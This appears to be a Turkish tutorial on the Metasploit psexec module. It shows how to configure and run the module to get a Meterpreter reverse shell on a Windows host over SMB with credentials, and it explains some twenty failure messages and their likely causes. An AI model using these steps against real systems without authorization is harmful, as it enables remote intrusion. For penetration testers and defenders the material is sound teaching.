Standart bir MSF psexec modülü aşağıdaki gibi ayarlanabilir ve çalıştırılabilir.
msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
—- ————— ——– ———–
RHOST 192.168.2.7 yes The target address
RPORT 445 yes Set the SMB service port
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,…) or a normal read/write folder share
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass Aa123456 no The password for the specified username
SMBUser Ahmet no The username to authenticate asPayload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.2.2 yes The listen address
LPORT 4444 yes The listen portExploit target:
Id Name
— —-
0 Automaticmsf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[*] Uploading payload…
[*] Created \xhSnxfvL.exe…
[*] Deleting \xhSnxfvL.exe…
[*] Sending stage (769536 bytes) to 192.168.2.7
[*] Meterpreter session 1 opened (192.168.2.22:4444 -> 192.168.2.7:49301) at 2014-12-14 15:32:12 -0500meterpreter >
Ancak bazı durumlarda bu işlem başarısız olabilmektedir. Aşağıdaki her maddede oluşabilecek hatalardan bir kısmı görülmektedir. Bu hatalar sonucunda modülün çıktısı ve muhtemel sebepleri aşağıdaki gibi listelenebilir.
Rex::AddressInUse The address is already in use
msf exploit(psexec) > exploit
[-] Handler failed to bind to 192.168.2.22:4444
[-] Handler failed to bind to 0.0.0.0:4444
[-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:4444).
Muhtemel Sebebi: Dinleyen port kullanıldığı için handler açılamamıştır.
Rex::ConnectionTimeout The connection timed out
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.2.7:445).
Muhtemel Sebebi: Hedef bilgisayarda güvenlik duvarı açık olabilir veya aradaki bir cihaz tarafından engellenmiştir.
Rex::HostUnreachable The host was unreachable
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[-] Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.2.250:445) was unreachable.
Muhtemel Sebebi: Hedef makineye erişilememiştir. Bilgisayar kapalı olabilir veya ağ üzerinden erişim engellenmiştir.
ConnectionRefused The connection was refused by the remote host
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.2.7:445).
Muhtemel Sebebi: File & Printer Sharing kapalıdır.
Exploit failed: ActiveRecord::RecordInvalid Validation failed: Data has already been taken
msf exploit(psexec) > exploit
[*] Started reverse TCP handler on 192.168.2.22:4444
[*] 192.168.2.7:445 – Connecting to the server…
[*] 192.168.2.7:445 – Authenticating to 192.168.2.7:445 as user ‘Ahmet’…
[-] 192.168.2.7:445 – Exploit failed: ActiveRecord::RecordInvalid Validation failed: Dat a has already been taken
[*] Exploit completed, but no session was created.
Muhtemel Sebebi:
Rex::Proto::SMB::Exceptions::LoginError Login Failed: execution expired
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: execution expired
Muhtemel Sebebi: Kimlik doğrulama sırasında hata olmuştur. Özellikle, etki alanındaki bir hesap ile MSF Psexec yapıldığında hedef bilgisayar DC makinesine erişim sağlayamazsa bu hata alınır.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
Muhtemel Sebebi: Kullanıcı adı veya parola hatalıdır.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_NETLOGON_NOT_STARTED
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_NETLOGON_NOT_STARTED (Command=115 WordCount=0)
Muhtemel Sebebi: Netlogon (veya Workgroup / Computer Browser) servisi devre dışıdır.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_ACCOUNT_DISABLED
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_ACCOUNT_DISABLED (Command=115 WordCount=0)
Muhtemel Sebebi: Hesap devre dışıdır.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_PASSWORD_MUST_CHANGE
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_PASSWORD_MUST_CHANGE (Command=115 WordCount=0)
Muhtemel Sebebi: Hesabın parolası değişmesi gereklidir. Parola politikasından ötürü gerekli süre (42 gün gibi) geçmiş olabilir.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_ACCOUNT_LOCKED_OUT
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_ACCOUNT_LOCKED_OUT (Command=115 WordCount=0)
Muhtemel Sebebi: Hesap kilitlenmiştir.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer
Muhtemel Sebebi: Server servisi kapalı olduğu için bağlantı talebine RST gönderilmiştir.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_ACCOUNT_RESTRICTION
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:4444|WORKGROUP as user ‘Ahmet’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_ACCOUNT_RESTRICTION (Command=115 WordCount=0)
Muhtemel Sebebi: Hesabın kimlik bilgileri (kullanıcı adı / parola) doğru olmasına rağmen, bu hesabın parolasının boş olması sebebi ile ağ üzerinden bilgisayara erişim gerçekleştirilememektedir. Bunun sebebi de, grup ilkelerindeki “Accounts: Limit local account use of blank passwords to console logon only” ayarının etkin olmasıdır.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_TYPE_NOT_GRANTED
msf exploit(psexec) > exploit
[*] Started reverse handler on 172.16.67.120:4444
[*] Connecting to the server…
[*] Authenticating to 172.16.67.182:445|WORKGROUP as user ‘Tubitak’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_TYPE_NOT_GRANTED (Command=115 WordCount=0)
Muhtemel Sebebi: Hesabın kimlik bilgileri (kullanıcı adı / parola) doğru olmasına rağmen, bu hesap ile ağ üzerinden bilgisayara erişim gerçekleştirilememektedir. Örneğin, grup ilkelerindeki “Deny access to this computer from the network” ilkesinde bu hesap bulunuyor olabilir.
Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_TRUSTED_RELATIONSHIP_FAILURE
msf exploit(psexec) > exploit
[*] Started reverse handler on 172.16.67.120:4444
[*] Connecting to the server…
[*] Authenticating to 172.16.67.182:445|WORKGROUP as user ‘Tubitak’…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_TRUSTED_RELATIONSHIP_FAILURE (Command=115 WordCount=0)
Muhtemel Sebebi: Bilgisayar etki alanından düşmüş olabilir.
Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_BAD_NETWORK_NAME
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[*] Uploading payload…
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_BAD_NETWORK_NAME (Command=117 WordCount=0)
Muhtemel Sebebi: Yönetimsel paylaşım (ADMIN$) kapalıdır. Veya, hatalı bir paylaşım dizini (C$\Useers gibi) belirtilmiştir.
Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[*] Uploading payload…
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)
Muhtemel Sebebi: Yetkilendirme yetersizdir. Hesap yerel yönetici olmayabilir veya UAC etkin olabilir.
Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_OBJECT_PATH_SYNTAX_BAD
msf exploit(psexec) > exploit
[*] Started reverse handler on 172.16.67.120:4444
[*] Connecting to the server…
[*] Authenticating to 172.16.67.182:445|WORKGROUP as user ‘Hesap1’…
[*] Uploading payload…
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_OBJECT_PATH_SYNTAX_BAD (Command=45 WordCount=0)
Muhtemel Sebebi: Paylaşım olarak IPC$ gibi hatalı bir dizin belirtilmiştir.
Atılan Payload Zararlısı Silindikten Sonra: Hata Mesajı Yok
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[*] Uploading payload…
[*] Created \dwgbefJq.exe…
[*] Deleting \dwgbefJq.exe…
Muhtemel Sebebi: Yönlendirme veya başka bir sebep dolayısıyla kurban bilgisayarından saldırgan bilgisayarına bağlantı oluşmamaktadır. İlgili paylaşıma (bu örnek için ADMIN$, ancak services.exe’ye erişimi olmayan diğer paylaşımlar için daha mantıklıdır) yazma/okuma izni olmasına rağmen servis başlatma yetkisi olmadığı durumda da bu hata alınabilmektedir.
Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[*] Uploading payload…
[*] Created \quVtTqcy.exe…
[*] Deleting \quVtTqcy.exe…
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=6 WordCount=0)
Muhtemel Sebebi: Antivirüs gibi bir sistem dolayısıyla zararlı yazılım uygun şekilde çalışamamıştır.
Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_SHARING_VIOLATION
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.2.22:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.2.7:445|WORKGROUP as user ‘Ahmet’…
[*] Uploading payload…
[*] Created \rcErXTSH.exe…
[*] Deleting \rcErXTSH.exe…
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_SHARING_VIOLATION (Command=6 WordCount=0)
Muhtemel Sebebi: Antivirüs gibi bir sistem dolayısıyla veya dosya açma (Open) işlemi sırasında işletim sisteminden kaynaklı bir hatadan (oplocks diye adlandırılan çoklu dosya erişimlerinde işletim sisteminin dosyanı kilitleme işlemi) dolayı zararlı yazılım uygun şekilde çalışamamıştır.
Not: Bazı durumlarda (işletim sistemindeki hata sebebiyle dosya açma işlemi gerçekleştirilemediği durum gibi), STATUS_SHARING_VIOLATION hata mesajı alınmasına rağmen, Meterpreter oturumu elde edilebilir.